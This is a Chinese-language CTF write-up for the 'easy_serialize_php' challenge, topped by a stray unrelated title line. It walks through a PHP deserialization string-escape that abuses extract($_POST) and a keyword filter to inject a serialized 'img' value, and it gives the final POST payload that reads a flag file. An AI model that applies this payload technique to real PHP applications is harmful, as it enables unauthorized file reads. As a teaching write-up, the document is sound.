BZOJ#3038上帝造題的七分鐘2
[安洵杯 2019]easy_serialize_php WriteUp
知識點
- 深度理解反序列化
- 序列化時有s:7:"flagphp"之類的話,結構嚴格,有7個字元必定會取7個字元。如果時s:7:"78:":2s",那麼這個屬性的值就是78:":2s。
- 反序列話時如果所以的值都合適,並且遇到了},就會停止序列化,後面的字元被當作無用字元不被理睬。
- php反序列化字元逃逸
題解
-
先審查程式碼,傳入引數f=highlight_file,發現其對應著highlight_file()函式。傳入引數f=phpinfo 發現其對應著phpinfo(),如果傳入引數f=show_image,會執行反序列化,並且讀取img。
-
發現危險函式file_get_contents()。雖然有base64加密。
-
題目提示phpinfo可以找到線索。看看吧
不能使用data://text/plain 協議, 不能使用php://input 協議,發現檔案開頭包含檔案d0g3_f1ag.php
-
訪問它d0g3_f1ag.php 啥也沒有,估計還是要讀它的原始碼,然後再構造繞過之類的。
-
繼續審查程式碼,發現把$_SESSION陣列給毀滅了,並且把$_POST的陣列變成變數。這樣我們就可以POST裡傳入$_SESSION=什麼之類的覆蓋掉原來的
-
然後判斷是否傳入img_path, 傳入的話就對傳入的值base64加密,然後去雜湊值再賦給$_SESSION
-
最後對$_SESSION繼續反序列化,再進入filter函式驗證。
這裡就注意了,如果反序列化裡面有以下的字元,會被替換成空字元。這就造成了序列化結構受損。也就有機可乘。
-
思路,利用POST傳參構造閉合序列化,使後面系統自動加的序列化不被理睬。造成字元逃逸。
$_SESSION['img']="ZDBnM19mMWFnLnBocA=="; //這是d0g3_f1ag.php的base64編碼
echo serialize($_SESSION);
//a:1:{s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
模仿系統自動的引數加入
$_SESSION['flagphp']='i:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'
-
進行過濾後flagphp會被自動消除,所以後面要構造一些長度為7的屬性名 和 該屬性的值。寫大體寫一些,再進行序列化之後看調整,或直接計算好來寫。我採用第一種方法。
-
此時$_SESSION有兩個引數
$_SESSION['flagphp']='i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $_SESSION['img'] = sha1(base64_encode('123.php')); //這裡是隨便寫的123.php。最後程式給的引數會被逃逸掉,寫什麼都沒關係。 echo serialize($_SESSION); //a:2:{s:7:"flagphp";s:45:"i:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";} //現在flagphp被過濾就成了 a:2:{s:7:" ";s:45: " i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";} //第一個屬性名為";s:45: 但發現後面的對不上,缺了一個;
-
所以給它加一個$_SESSION['flagphp']的值最前面加一個冒號,這樣它的值就是數字1,屬性名也對了,非常合適
$_SESSION['flagphp']=';i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $_SESSION['img'] = sha1(base64_encode('123.php')); //a:2:{s:7:"flagphp";s:44:";i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";} //a:2:{s:7:" ";s:44: ";i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:40:"17770ed716103f91ef23d9913f0f6e37d75f4da7";}
-
現在想為什麼要傳flagphp七個數?你想啊,後面的值在序列化時必定要有幾十個。假設已經被替換成空格了,後面會有什麼? 有 ";s:55:"" 這些至少的是4個字元以上。為什麼是7個數,不是8個,因為屬性名被替換成空格後,後面的代替了屬性名只能是7個值,所以正好構造7位數的被替換成空格。不知道解釋清楚沒? 但是,細品,多思考
-
現在非常合適。POST傳值
_SESSION[flagphp]=;i:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
-
讀取這個檔案